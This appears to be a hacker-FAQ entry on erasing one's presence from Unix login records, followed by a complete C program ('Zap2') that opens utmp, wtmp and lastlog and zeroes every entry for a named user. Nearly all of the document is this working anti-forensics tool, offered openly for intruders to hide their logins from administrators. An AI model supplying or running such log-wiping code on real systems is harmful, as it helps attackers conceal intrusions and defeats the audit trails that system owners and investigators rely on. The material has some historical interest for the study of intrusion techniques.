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How do I erase my presence from system logs?

How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:

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#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                          write (f, &utmp_ent, sizeof (utmp_ent));
                  }
        close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

        while(pos != -1L) {
           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
           } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                        bzero((char *)&utmp_ent,sizeof(struct utmp ));
                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                        write (f, &utmp_ent, sizeof (utmp_ent));
                        pos = -1L;
                } else pos += 1L;
           }
        }
        close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

        if ((pwd=getpwnam(who))!=NULL) {

           if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  write(f, (char *)&newll, sizeof( newll ));
                  close(f);
           }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
           kill_lastlog(argv[1]);
           kill_wtmp(argv[1]);
           kill_utmp(argv[1]);
           printf("Zap2!\n");
    } else
    printf("Error.\n");
}




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